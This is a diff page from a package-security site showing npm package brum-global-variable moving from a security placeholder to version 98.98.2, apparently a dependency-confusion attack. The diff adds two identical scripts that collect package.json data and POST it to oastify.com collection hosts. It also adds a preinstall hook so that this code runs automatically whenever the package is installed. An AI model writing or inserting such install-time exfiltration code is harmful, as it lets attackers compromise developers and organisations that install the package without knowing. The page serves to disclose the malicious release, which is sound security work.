brum-global-variable 0.0.1-security → 98.98.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of brum-global-variable might be problematic. Click here for more details.
- package/brum-global-variable.js +38 -0
- package/index.js +38 -0
- package/package.json +15 -5
- package/README.md +0 -5
@@ -0,0 +1,38 @@
|
|
1
|
+
const querystring = require("querystring");
|
2
|
+
const https = require("https");
|
3
|
+
const packageJSON = require("./package.json");
|
4
|
+
const package = packageJSON.name;
|
5
|
+
|
6
|
+
const trackingData = JSON.stringify({
|
7
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
8
|
+
v: packageJSON.version,
|
9
|
+
pjson: packageJSON,
|
10
|
+
});
|
11
|
+
|
12
|
+
var postData = querystring.stringify({
|
13
|
+
msg: trackingData,
|
14
|
+
});
|
15
|
+
|
16
|
+
var options = {
|
17
|
+
hostname: "5rx982l5l1kbo3wqc1efeyv63x9pxhl6.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
|
18
|
+
port: 443,
|
19
|
+
path: "/",
|
20
|
+
method: "POST",
|
21
|
+
headers: {
|
22
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
23
|
+
"Content-Length": postData.length,
|
24
|
+
},
|
25
|
+
};
|
26
|
+
|
27
|
+
var req = https.request(options, (res) => {
|
28
|
+
res.on("data", (d) => {
|
29
|
+
process.stdout.write(d);
|
30
|
+
});
|
31
|
+
});
|
32
|
+
|
33
|
+
req.on("error", (e) => {
|
34
|
+
// console.error(e);
|
35
|
+
});
|
36
|
+
|
37
|
+
req.write(postData);
|
38
|
+
req.end();
|
package/index.js
ADDED
@@ -0,0 +1,38 @@
|
|
1
|
+
const querystring = require("querystring");
|
2
|
+
const https = require("https");
|
3
|
+
const packageJSON = require("./package.json");
|
4
|
+
const package = packageJSON.name;
|
5
|
+
|
6
|
+
const trackingData = JSON.stringify({
|
7
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
8
|
+
v: packageJSON.version,
|
9
|
+
pjson: packageJSON,
|
10
|
+
});
|
11
|
+
|
12
|
+
var postData = querystring.stringify({
|
13
|
+
msg: trackingData,
|
14
|
+
});
|
15
|
+
|
16
|
+
var options = {
|
17
|
+
hostname: "k9uoqh3k3g2q6ie5ugwuwddllcr3fw3l.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
|
18
|
+
port: 443,
|
19
|
+
path: "/",
|
20
|
+
method: "POST",
|
21
|
+
headers: {
|
22
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
23
|
+
"Content-Length": postData.length,
|
24
|
+
},
|
25
|
+
};
|
26
|
+
|
27
|
+
var req = https.request(options, (res) => {
|
28
|
+
res.on("data", (d) => {
|
29
|
+
process.stdout.write(d);
|
30
|
+
});
|
31
|
+
});
|
32
|
+
|
33
|
+
req.on("error", (e) => {
|
34
|
+
// console.error(e);
|
35
|
+
});
|
36
|
+
|
37
|
+
req.write(postData);
|
38
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
1
|
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
2
|
+
"name": "brum-global-variable",
|
3
|
+
"version": "98.98.2",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"keywords": [],
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC",
|
13
|
+
"dependencies": {
|
14
|
+
"brum-global-variable": "^98.98.2"
|
15
|
+
}
|
16
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=brum-global-variable for more information.
|